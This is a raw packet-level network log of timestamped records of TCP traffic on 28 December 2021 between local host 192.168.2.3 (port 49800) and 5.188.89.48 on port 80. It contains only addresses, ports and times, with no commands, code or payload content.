Dec 28, 2021 05:19:03.938465118 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.938489914 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.938498974 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.938529968 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.938569069 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.938581944 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.938607931 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.938618898 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.938647032 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.938648939 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.938688040 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.938700914 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.938726902 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.938765049 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.938776970 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.938805103 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.938842058 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.938854933 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.938879967 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.938884974 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.938920021 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.938957930 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.938972950 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.938997030 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.938999891 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.939034939 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.939085960 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.002789974 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.002860069 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.002903938 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.002943039 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.002983093 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.002985001 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.003026009 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.003031969 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.003056049 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.003065109 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.003093004 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.003109932 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.003125906 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.003149986 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.003161907 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.003186941 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.003204107 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.003232956 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.003245115 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.003273010 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.003312111 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.003314972 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.003356934 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.003392935 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.003395081 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.003421068 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.003437042 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.003444910 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.003477097 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.003515959 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.003541946 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.003556013 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.003573895 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.003597021 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.003635883 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.003650904 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.003675938 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.003714085 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.003725052 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.003755093 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.003793001 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.003793955 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.003813028 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.003834963 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.003850937 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.003875971 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.003906012 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.003916025 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.003927946 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.003957987 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.003998995 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.004020929 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.004028082 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.004060984 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.004072905 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.004079103 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.004098892 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.004118919 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.004131079 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.004158974 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.004173994 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.004199982 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.004210949 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.004237890 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.004250050 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.004277945 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.004317045 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.004328966 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.004354000 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.004374027 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.004393101 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.004407883 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.004431963 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.004473925 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.004482985 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.004515886 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.004551888 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.004569054 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.004590988 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.004605055 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.004631042 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.004637003 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.004668951 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.004708052 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.004734039 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.004745007 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.004770041 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.004786968 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.004810095 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.004827976 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.004872084 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.004889965 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.004899979 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.004937887 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.004976988 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.004980087 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.004996061 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.005017042 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.005029917 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.005055904 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.005074024 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.005096912 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.005110025 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.005136967 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.005178928 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.005193949 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.005218983 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.005233049 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.005255938 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.005266905 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.005295992 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.005311966 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.005335093 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.005347013 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.005373001 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.005410910 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.005424023 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.005449057 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.005460978 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.005489111 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.005501986 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.005530119 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.005537987 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.005568981 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.005579948 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.005608082 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.005619049 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.005646944 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.005683899 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.005705118 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.005723000 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.005739927 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.005763054 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.005770922 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.005803108 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.005815983 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.005844116 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.005856037 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.005882025 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.005920887 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.005937099 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.005959034 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.005970955 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.005996943 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.006010056 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.006045103 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.069715977 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.069772959 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.069811106 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.069840908 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.069854021 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.069895029 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.069911003 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.069917917 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.069935083 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.069973946 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.069976091 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.070010900 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.070015907 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.070058107 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.070065975 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.070086956 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.070113897 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.070131063 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.070156097 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.070177078 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.070195913 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.070245981 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.070266962 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.070285082 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.070323944 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.070324898 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.070360899 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.070364952 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.070384026 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.070405960 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.070414066 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.070447922 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.070485115 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.070508957 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.070523977 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.070553064 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.070564032 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.070583105 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.070605040 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.070616007 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.070645094 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.070656061 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.070683002 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.070708990 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.070724964 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.070736885 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.070765018 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.070790052 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.070802927 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.070841074 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.070843935 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.070867062 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.070883989 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.070894957 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.070924044 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.070931911 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.070966005 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.070981026 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.071003914 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.071042061 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.071046114 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.071054935 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.071084023 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.071115971 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.071122885 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.071156979 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.071158886 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.071181059 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.071198940 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.071221113 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.071238995 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.071279049 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.071296930 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.071310043 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.071316004 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.071335077 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.071356058 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.071367979 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.071394920 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.071415901 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.071436882 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.071477890 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.071500063 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.071521044 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.071541071 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.071563005 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.071583033 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.071624041 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.071650028 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.071660995 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.071686983 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.071701050 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.071719885 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.071741104 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.071779013 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.071789980 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.071819067 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.071835041 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.071856022 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.071894884 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.071907043 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.071934938 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.071949959 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.071973085 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.071980953 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.072014093 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.072024107 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.072062969 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.072071075 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.072102070 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.072113991 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.072143078 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.072154045 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.072181940 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.072190046 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.072220087 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.072232008 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.072258949 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.072273016 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.072299004 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.072308064 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.072340012 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.072352886 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.072381020 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.072386026 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.072417974 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.072428942 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.072458029 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.072463989 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.072496891 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.072510004 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.072535038 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.072546005 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.072575092 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.072581053 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.072613001 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.072628975 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.072659016 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.072683096 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.072705984 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.072721958 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.072743893 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.072772980 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.072782040 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.072803974 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.072822094 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.072825909 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.072871923 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.072904110 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.072942019 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.072977066 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.072979927 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.073003054 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.073019028 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.073055983 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.073074102 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.073082924 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.073098898 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.073113918 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.073137045 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.073148012 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.073177099 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.073189974 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.073219061 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.073226929 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:04.073256969 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:04.073296070 CET	80	49800	5.188.89.48	192.168.2.3
